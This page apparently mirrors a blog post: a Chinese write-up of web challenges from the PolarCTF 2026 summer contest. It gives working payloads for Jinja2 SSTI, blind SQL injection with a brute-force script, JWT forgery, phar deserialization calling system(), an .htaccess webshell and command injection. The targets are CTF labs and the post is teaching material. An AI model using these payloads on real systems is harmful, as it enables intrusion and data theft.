惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

aimingoo的专栏
aimingoo的专栏
M
MIT News - Artificial intelligence
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
F
Fortinet All Blogs
L
LangChain Blog
D
Docker
G
Google Developers Blog
B
Blog RSS Feed
Google DeepMind News
Google DeepMind News
Vercel News
Vercel News
Recent Announcements
Recent Announcements
MyScale Blog
MyScale Blog
Microsoft Azure Blog
Microsoft Azure Blog
A
About on SuperTechFans
T
The Blog of Author Tim Ferriss
Recorded Future
Recorded Future
I
InfoQ
博客园 - 【当耐特】
The Cloudflare Blog
P
Proofpoint News Feed
GbyAI
GbyAI
博客园 - 司徒正美
U
Unit 42
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
IT之家
IT之家
H
Hackread – Cybersecurity News, Data Breaches, AI and More
B
Blog
Hugging Face - Blog
Hugging Face - Blog
博客园_首页
Stack Overflow Blog
Stack Overflow Blog
Microsoft Security Blog
Microsoft Security Blog
爱范儿
爱范儿
Jina AI
Jina AI
量子位
阮一峰的网络日志
阮一峰的网络日志
月光博客
月光博客
有赞技术团队
有赞技术团队
罗磊的独立博客
博客园 - 三生石上(FineUI控件)
Y
Y Combinator Blog
Apple Machine Learning Research
Apple Machine Learning Research
V
V2EX
大猫的无限游戏
大猫的无限游戏
F
Full Disclosure
雷峰网
雷峰网
美团技术团队
酷 壳 – CoolShell
酷 壳 – CoolShell
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
S
SegmentFault 最新的问题

博客园_首页

Plist 二进制格式 Milvus 和 PGVector,哪个更好? OpenClaw 已过时?在 VS Code 中运行 Hermes Agent! 第30篇文章:一个大三计科生的自白 Manim如何在数学公式中完美显示中文? Docker 部署 RocketMQ 5 并发编程核心概念辨析 C#事务处理最佳实践:别再让“主表存了、明细丢了”的破事发生 CLI 是什么?为什么大厂突然集体卷命令行? 【从0到1构建一个ClaudeAgent】协作-自主Agent UIImageView 设置图片不生效的原因排查 最小二乘问题详解20:无先验约束下的增量式SFM自由网平差 痞子衡嵌入式:大话双核i.MXRT1180之XIP应用里借助MU实现可靠Flash IAP的方法 AI Chat 封装, SemanticKerne.AiProvider.Unified 已发布 Windows下右键编辑js文件无法打开记事本——在注册表中使用环境变量 在后台服务中使用 Scoped 服务,为什么总是报错? H200 安装驱动并使用sglang启动模型 wireshark 抓包Trap上报告警内容 我用 AI 辅助开发了一系列小工具(2):图片压缩工具 [A Primer On MC and CC] 2.1 Memory Consistency 1 - 指令重排序和 SC 模型 Oracle数据库SCN推进技术详解与实践指南 玩转控件:封装个带图片的Label控件 Claude Code 4.7 真正该升级的不是模型,而是你的工作流 前端小白一句话,AI 帮我做了个颜值拉满的桌面媒体播放器。当代码不再是门槛,一句话编程就是现实。 5. WorkBuddy: 小龙虾的灵魂三件套,让你的小龙虾不只是工具 SQLite 分片方案实战:三种分片策略的深度对比 告别简陋 UI!一款基于 Fluent Design 和基于 WinUI 的开源免费、现代化的 Avalonia UI 控件库 关于二进制排列组合枚举的总结 AI开发-python-LangGraph框架(3-27-LangGraph从零实现大模型智能决策工作流) ElasticSearch主分片和副本分片概念详解 【002】HTTPS 粗解:证书、TLS 握手与对后端配置的影响 Hermes Agent 一周暴涨五万 Star,但我劝你别急着追 明明连接的是Redis的DB0,为什么能查到DB3的数据? 【从0到1构建一个ClaudeAgent】协作-Agent团队 熟悉电子元器件之后,电子小白下一步该怎么走? MAF快速入门(23)通过C#类定义Skills .NET 高级开发 | 手写一个对象映射框架 FastAPI数据库ORM怎么选?我肝了三个Demo后,终于不再纠结了 mysqldump 参数拾遗:在遗忘与铭记之间 C# .NET 周刊|2026年3月5期 Claude code入门 - 陈彦斌 一文学习入门 ThingsBoard 开源物联网平台 GitHub 热门项目 | 2026年04月16日 如何为GIT设置全局勾子,为每次提交追加信息 Number.isFinite和isFinite与isNaN()和Number.isNaN的区别 PortSwigger SQL注入LAB2 推荐一个测试人必备的Skills,从功能到性能全搞定(附详细实操和安装下载方式) 筑基期:掌握Odoo基础核心知识点02(Odoo XML 开发方式详解) GLM模型这么火,咱们用vllm也咧一个呗! 深入理解 AbortController:从底层原理到跨语言设计哲学 字符串学习笔记 多租户系统框架的基础模块设计和分析设计 Apache SeaTunnel Zeta 为什么能做到“又快又稳”? AI开发-python-LangGraph框架(3-26-LangGraph基本概念及第一个简单样例) Vue 3 组件通信,别只会用 Props 和 Emits 了,这几个狠活儿你得看看 ElasticSearch7.X版本配置密码 用Manim实现动态交点计算--从一个动点问题说起 团结引擎+Addressable+Instant Game打包抖音小游戏 function call 实战:让 LLM 自动判断 pod 异常、调用日志工具并完成故障分析 bubseek —— 让 Agent 的足迹,变成团队的洞察 通过 C# 读取并导出 PDF 书签 如何用 GitHub Actions 实现 Steam 自动化发布 【从0到1构建一个ClaudeAgent】并发-后台任务 .NET 高级开发 | 定制 ASP.NET Core 框架 电子小白:什么是运算放大器(运放) zero2Agent:面向大厂面试的 Agent 工程教程,从概念到生产的完整学习路线 堆上的ORW HC32F460 USB CDC通信异常:非对齐访问异常排查 20260413-Hyperbridge 攻击事件:发生在默克尔山上的验证绕过 那些喊着AI 要淘汰你的人,正在靠你的焦虑赚大钱! 深度学习进阶(八)Swin Transformer 最小二乘问题详解19:带先验约束的增量式SFM优化与实现 SnapTranslate 3.0 正式发布:全局划词翻译 + 完整英语学习闭环,一站式搞定查词、记词、复习 工作的意义、工作的困难认知再思考 .NET + AI 进阶实战:基于类的技能开发 - 打造可治理的 Agent 能力模块 【从0到1构建一个ClaudeAgent】规划与协调-技能 上周热点回顾(4.6-4.12) 电子小白的工具三件套:面包板、杜邦线、万能板 单表五亿数据的查询优化 | Mysql、StarRocks 2. WorkBuddy:从“我是谁”到“帮我干活” C# 如何减少代码运行时间:7 个实战技巧 基于HelixToolkit.SharpDX 渲染3D模型 - 笺上知微 从零开始的双臂具身VLA起源及现阶段发展综述 - SkyXZ 记对 xonsh shell 的使用, 脚本编写, 迁移及调优 - pluvium27 受够了Vibe Coding的失控?换个起点,让AI事半功倍 从开始配置漏洞环境到漏洞复现流程 - 難しい 关于10年工作经验的程序员对OpenClaw的实战经验分享以及看法 - 虚无境 Any metadata 的内存布局 C# .NET 周刊|2026年3月2期 - InCerry 我帮你测过了,测试圈排名第二的 Skill 依然很牛逼 Skill Discovery | 无监督技能发现的经典工作总结 - MoonOut 上下文工程是什么?过时了么?一文讲明白! - 一枫说码 开了 TUN 模式还是直连?90% 的人都踩过这个坑 AScript扩展多种脚本语言 - rockey627 AI 学习笔记:Agent 的记忆机制 你能被装进一个文件里吗?——7 万人把同事"蒸馏"成了 AI - 我没有三颗心脏 Claude Code 通关手册(七):给 AI 装上技能包——Skills 完全指南 - 暮色之狐 在浏览器中快速编辑代码:VSCode Web 集成实践 - Newbe36524 蒸馏自己 skill?基于 Deepseek 的蒸馏器,丐版蒸馏方式,简单便捷 - To_Carpe_Diem Spring AI Aliababa和AgentScope,哪个更好? - 苏三说技术
PolarCTF网络安全2026夏季个人挑战赛(除"Escape, escape!"外)
E73RN4L · 2026-06-14 · via 博客园_首页

Top10大考察

好多功能啊,都想试试

功能 URL 说明
主页 home.php 显示我的笔记列表
新建笔记 note.php 创建/查看/删除笔记,参数 ?id=N
搜索 search.php 搜索笔记,参数 ?q=keyword,提示"已启用WAF"
文件上传 upload.php 上传图片或 .url 文件
文件分享 share.php 查看已上传文件内容,参数 ?file=path

尝试路径遍历

share.php?file=../../../flag.txt,返回:

路径遍历攻击已被拦截!

尝试 ....//、%2e%2e%2f 等 bypass 均被拦截

尝试sql

提示"已启用 WAF 防护"。测试:

- ' OR 1=1-- - → 返回空结果(无报错,可能参数化查询或被过滤)
- ' UNION SELECT 1,2,3-- - → WAF拦截!
- UN/**/ION SEL/**/ECT → 绕过WAF但依然空结果

尝试SSTI

{{7*7}}原样显示

尝试文件上传

仅允许上传 jpg/jpeg/gif/png 图片和 .url 快捷方式文件。图片上传检验 MIME 类型。

.url 文件格式是Windows快捷方式文件

[InternetShortcut]
URL=file:///flag

访问 share.php?file=uploads/{hash}.url,返回:

<pre>flag{SSRF_WAF_Byp4ss_Curl_Url_2026Summer}</pre>

偷吃蟠桃

小游戏玩一下,第二关要1000000分才能拿flag,但总分全拿到也没这么多

查看源代码,找到传参格式

我们POST

score=1000000&level=2&passed=1

拿到flag

狗黑子的股市之路

抓包看看,设置负数没反应,repeat重新发包金额也不变

扫目录发现有flag.php能兑换flag但提示资金不足

不过抓flag.php兑换flag的包发现post传参check=no

改成check=yes就拿到flag了

路飞的HTTP协议冒险

第一关要吃肉,点击一次吃一块

抓包改meat=999就ok

然后第二关说

香克斯:路飞,你需要获得橡胶(rubber)的力量(power)才可以变强。

半天想不出来是什么

应该是get请求

/devil_fruit.php?power=rubber

进入下一关

血液流速: 过低 ✖
限制器状态: 未解除 ✖

拿hint

罗宾:路飞,你需要让血液(blood)加速(boost),并将身体机能的限制(limit)解除(unlock)来进入二档打败cp9.

post传参

blood=boost&limit=unlock

提示二档开启成功

进入下一关

拿hint

弗兰奇:路飞,男人就该用点“特别的方式”沟通!比如带上值为 BoneInflate的请求头X-Luffy-Gear3.

加http头

X-Luffy-Gear3: BoneInflate

进入下一关,拿hint

雷利:路飞,修行的证明,往往留在浏览器里。你需要gear4和Trainer的认证,记住,我是海贼王罗杰的副手Rayleigh,期待着你化身BoundMan的模样

认证?抓包看看没有东西,加个cookie试试

gear4=BoundMan; Trainer=Rayleigh

进入最后一关

在甚平的注视下,你试图清除那段盘踞心底的战争阴影。
可这道封印并不像刀剑可斩、火焰可焚。
它仿佛在等待一种更“准确”的确认。

    当前状态: 封印仍存在 ✖
    本次方式: GET

净化受阻
这道封印并不排斥你的到来,但它不会因旁观而消散。 

hint

甚平:路飞,清除之前,先确认它仍是当前状态。否则,这道封印不会接受你的请求。

不知道改干嘛了

注意到回显中有本次方式:GET

改成POST请求,回显也相应变成POST

那换成DELETE呢?

    当前状态: 封印仍存在 ✖
    本次方式: DELETE
    条件确认: 缺失 ✖

净化失败
甚平低声道:真正的斩断,不是盲目出手。先确认你面对的,正是当前这一道封印。 

要确认面对的是当前这一道封印...

换成PUT

方式错误
你尝试了某种方式,但这道封印并不会对此作出回应。

其他的请求方法也都一样

其实问题出在响应头

Etag: "seal-memory-v1"

Etag通常用来作为当前资源的实体标签(需要用来确认状态)

结合要确认你面对的正是这一道封印

需求 对应的请求头
确认资源没变再读取 If-None-Match
确认资源没变再修改/删除 If-Match
确认资源没变再读取(时间版) If-Unmodified-Since

使用If-Match

If-Match: "seal-memory-v1"

请求方法设为DELETE

flag{15b606dc5a9492c260984aa627338bfd}

dariy

首页好大的字

Record your thoughts with our fancy template system

直接七七四十九发现成功

尝试拿flag,有waf

paylaod

{{ (url_for|attr('\x5f\x5fglobals\x5f\x5f'))['sys'].modules['builtins']|attr('open')('/flag')|attr('read')() }}

构造思路:

我先测了 {{url_for}},能正常回显,说明它可以当跳板。

然后用 attr 过滤器去读它的 globals

{{url_for|attr('\x5f\x5fglobals\x5f\x5f')}}
这里的 \x5f 是下划线 _,作用是避免在原始输入里直接出现 globals 这种明显特征。

这里返回的是一个全局字典,里面直接有 sys,于是可以走:

{{(url_for|attr('\x5f\x5fglobals\x5f\x5f'))['sys']}}

再用 sys.modules 拿已经加载的模块。这里我不走 os.popen,因为 WAF 会拦 popen 相关链路。
最终选择 builtins.open

{{(url_for|attr('\x5f\x5fglobals\x5f\x5f'))['sys'].modules['builtins']|attr('open')('/flag')|attr('read')()}}

你会渗透吗

用提示的测试账号登录

抓下载图片的http包

/api.php?action=download&file=picture/%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%9B%B8%E9%81%87.png

第一次相遇.png

疑似任意文件下载?

下载index.php

<?php
session_start();
if (isset($_SESSION['user_id'])) {
    header('Location: /home.php');
    exit;
}
?>

home.php

<?php
session_start();
if (!isset($_SESSION['user_id'])) {
    header('Location: /index.php');
    exit;
}
$username = $_SESSION['username'];
$role = $_SESSION['role'];

// 如果是admin,显示flag页面
if ($role === 'admin') {
    header('Location: /admin.php');
    exit;
}

// 如果是Squirtle,显示个人主页
if ($username === 'Squirtle') {
    header('Location: /squirtle.php');
    exit;
}
?>

下载admin.php,拿到flag

flag{4323ce6fff96d58cfd37f18747e28c18}

身份权限校验系统

身份权限校验系统

当前权限:普通用户

提示:参数中不能出现 admin 关键字

抓包扫目录都没有收获

看源代码发现一句话

CTF 变量覆盖挑战

不懂

尝试传有关于admin的参数

最终index.php?is_admin=1

七人组档案

点击查看支线剧情

听着,小子

沃特在暗网藏了个心理评估终端。

祖国人快失控了,那个终端里有初代化合物V的位置。

帮我去一趟。但有个破防火墙挡着。

网页源码里留了点东西,自己找。

找到之后,潜入到他们的系统内部,破解最终初代化合物V的位置!

扫目录没有收获,看源代码

  <!-- hint ----------------------------------------------------------------->
            <button hidden onclick="jumpToTarget()">线索</button>
        </div>
    </div>

    <div class="slogan">
        <div class="divider"></div>
        <div class="slogan-text">
            “超级英雄不是问题,问题是——<span>谁在控制他们</span>?”
        </div>
        <div class="divider" style="margin-top: 40px;"></div>
    </div>

删掉hidden onclick="

出现新的按钮,点击

听着,小子

沃特那破安全系统会检查 User-Agent,但有个叫 X-Vought-Token 的头它们懒得拦

假装你是内部的人——用祖国人(Homelander)的身份混进去!

使用X-Vought-Token: Homelander访问

image-20260614162945165

查看来信

很好,小子

你已经成功进入了沃特公司的内部系统!

他们的数据库查询系统存在严重漏洞,就看你的了!

如果你想获得最高权限:。

找出沃特公司老总的账号和密码

他叫什么来着...斯坦埃德加(StanEdgar)?

使用查询功能

输入数字,回显

禁止输入一切数字和过滤字符串!(=/ascii/所有截取字符串的函数)

输入aa回显404

输入true空白回显

提示true会代替一切,布尔盲注吗

python sqlmap.py -u http://4e64025f-3383-4b99-82dd-c9e6afb64ba3.www.polarctf.com:8090/level1/Vought_Internal_system1917.php?id=111 -H "X-Vought-Token: Homelander" --level=1 --risk=3 --batch

跑不出来

尝试以下payload

true and (select database()) like '{result + j}%'
#vought

true AND EXISTS(SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA LIKE 'vought' AND TABLE_NAME LIKE '{result + j}%')
#members

true AND (SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA LIKE 'vought' AND TABLE_NAME LIKE 'members')LIKE '{result + j}%'
#id,member,keyword

true AND (SELECT GROUP_CONCAT(member,keyword) FROM members)LIKE '{result + j}%'
#homelanderqgxmyznp,queenmaeveftrhwjkc,atrainbksqadme,stanedgarzpexnlot.....
import requests
import string

url = "http://4845c17a-356f-423f-bed6-da4261f41b45.www.polarctf.com:8090/level1/Vought_Internal_system1917.php?id="
result = ""

for i in range(1, 100):
    for j in string.ascii_letters + '_' + ',':
        payload = f"true and (select database()) like '{result + j}%'"
        re = requests.get(url=url + payload)
        
        if '404' not in re.text:
            result += j
            print(result)
            break

写脚本的时候有个小问题,最开始我的脚本爆破使用

for j in string.ascii_letters + string.digits + '_' + ',':

问题是这道题的输入有数字就会提示被过滤,这样也满足'404' not in re.text:

爆破结果就会带着一个0,然后再爆破下一位

爆破到第一个a,由于payload中有数字,依旧满足'404' not in re.text:,最后输出就会变成0aaaaaaaaaaaaaaaaa

payload构造的时候也有小问题,网页版ds给出的payload是

true AND EXISTS(SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_SCHEMA LIKE 'vought' AND TABLE_NAME LIKE 'members' AND COLUMN_NAME LIKE '{result + j}%')

我们的预期回显是id,member,keyword

但是这个payload判断的是exists

按照字母顺序,a%匹配字段首字母,轮到i的时候匹配到了id

但是我们用的是COLUMN_NAME LIKE=来匹配,只匹配单个列的列名

id之后再跟任何东西,这个整体都不是一个列名

登录

我们拿最后一个payload的回显

stanedgarzpexnlot

GROUP_CONCAT(member,keyword)

账号stanedgar

密码zpexnlot

登陆后查看五号化合物坐标

JWT令牌格式错误!需要三段式: header.payload.signature

还是先查看源代码吧

提示role权限不够

把cookie中role改为admin即可

 <?php
highlight_file(__FILE__);
// ==================== 简单JWT实现 ====================
function base64url_encode($data)
{
    return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
function base64url_decode($data)
{
    return base64_decode(strtr($data, '-_', '+/'));
}

// JWT签名密钥 (藏在源码里,你有本事就自己签一个令牌!)
$jwt_secret = "Vought_CompoundV";

if (isset($_POST['location'])) {
    $token = $_COOKIE['jwt_token'] ?? '';
    if (empty($token)) {
        echo '<script>alert("缺少JWT令牌!请先获取有效的jwt_token");</script>';
    } else {
        $parts = explode('.', $token);
        if (count($parts) !== 3) {
            echo '<script>alert("JWT令牌格式错误!需要三段式: header.payload.signature");</script>';
        } else {
            $header = json_decode(base64url_decode($parts[0]), true);
            $payload = json_decode(base64url_decode($parts[1]), true);
            // 计算有效签名
            $valid_sig = base64url_encode(hash_hmac('sha256', "$parts[0].$parts[1]", $jwt_secret, true));

            if ($header === null || $payload === null) {
                echo '<script>alert("JWT解析失败!header和payload需要是有效JSON的Base64URL编码");</script>';
            } elseif (!hash_equals($valid_sig, $parts[2])) {
                echo '<script>alert("JWT签名验证失败!密钥不匹配");</script>';
            } elseif (!isset($payload['access']) || $payload['access'] !== 'compound_v') {
                echo '<script>alert("JWT权限不足!需要 access = compound_v");</script>';
            } else {
                //......
            }
        }
    }
}

我们尝试自己签名

<?php
function base64url_encode($data) {
    return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

$jwt_secret = "Vought_CompoundV";

$header = json_encode(['alg' => 'HS256', 'typ' => 'JWT']);
$payload = json_encode(['access' => 'compound_v']);

$b64_header = base64url_encode($header);
$b64_payload = base64url_encode($payload);

$signature = hash_hmac('sha256', "$b64_header.$b64_payload", $jwt_secret, true);
$b64_signature = base64url_encode($signature);

$jwt = "$b64_header.$b64_payload.$b64_signature";
echo $jwt;

#eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3MiOiJjb21wb3VuZF92In0.ANdvTV4XOHONEhUhUuujsWO06tDdNzM-qR8MPXxH9Qk

拿到坐标

40.7128,-74.0060_VoughtTower_B73_FounderVault_CompoundV_Original

交给布彻尔

他说坐标的md5就是flag

flag{dee804d0504af6a1cdce236481eee802}

Escape, escape!

感觉功能有点多,大体浏览一遍

历史环境仍保留仅供内网排障的调试组件
如需模板表达式预览或历史内容回放,请遵循内部流程,不建议直接暴露在公共入口后方。 

这句话有点意思

可能需要用历史环境找flag

.....做不出来

Polar_校园图库

文件上传,文件预览

看一眼源码,发现view.php有

require_once('classes.php');

并且classes.php

<?php
class Helper {
    public $type;
    public $cmd;
    function __destruct() {
        if ($this->type === 'eval') {
            eval($this->cmd);
        }
    }
}
?>

我们尝试上传一个含有序列化内容的图片,使用phar伪协议读取

<?php
// 漏洞测试用的恶意 PHAR
class Helper {
    public $type;
    public $cmd;
    function __destruct() {
        if ($this->type === 'eval') {
            eval($this->cmd);
        }
    }
}

// 创建 PHAR
$phar = new Phar('999.phar');
$phar->startBuffering();

// 设置 stub,添加gif头
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");

// 添加普通文件(必须至少有一个文件)
$phar->addFromString('readme.php', 'This is a test file');

// 设置元数据 - 会被序列化存储
$payload = new Helper();
$payload->type = 'eval';
$payload->cmd = 'system("cat /flag*");';
$phar->setMetadata($payload);

$phar->stopBuffering();

修改后缀为.png

view.php只接收后缀为.php的参数

讲一下这个路径

view.php?file=phar://uploads/c715a557277a6af0069be7996953b1ea.png/readme.php

如果c715a557277a6af0069be7996953b1ea.png是普通文件,这样请求会报错

但如果他是一个phar文件,这个路径就会访问.phar文件内部的readme.php文件

我们的回显是

This is a test fileflag{polar_in_0606_school} 

前半段是.phar文件内部的readme.php,后半段是触发反序列化得到的结果

flag{polar_in_0606_school} 

uploadfile

经典文件上传,把常见payload过一遍

含有明显php特征的被识别

<script language="php">echo `ls`;</script>
GIF89a                  
echo file_get_contents($_GET['f'] ?? '/flag');

均能成功上传,但不可访问

上传.htaccess后

AddType application/x-httpd-php .jpg

可以访问,但没有被执行

其实还有一种方法,把命令进行base64编码

PD9waHAgc3lzdGVtKCJscyAvIik7Pz4=

再在.htaccess后拼接一句

php_value auto_prepend_file "php://filter/convert.base64-decode/resource=55.jpg"

访问上传的文件

bin dev etc home lib linuxrc media mnt proc root run sbin srv sys thisisfl@g.php tmp usr var PD9waHAgc3lzdGVtKCJscyAvIik7Pz4=

同理,读取thisisfl@g.php

(没有回显,flag藏在源码里)

flag{9ba9ef6ddfbe14916fa2d3337b427774}

BH

==== It's another order execution. ====
Carefully look at the purpose of the code before executing any code

System executing command:
ping -c 2 127.0.0.1

PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.031 ms
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.041 ms

--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.031/0.036/0.041 ms

<?php
error_reporting(0);
echo "==== It's another order execution. ====<br>";
echo "Carefully look at the purpose of the code before executing any code<br><br>";

$input = $_GET['cmd'];
$command = "ping -c 2 127.0.0.1" . $input;

echo "System executing command:<br>$command<br><br>";

echo "<pre>";
passthru($command);
echo "</pre>";

highlight_file(__FILE__);
?>

?cmd=;ls

发现有flag.php,直接cat

依旧不显示,藏在源代码中

flag{030e77f73a4cb26a111daf0470c3956f}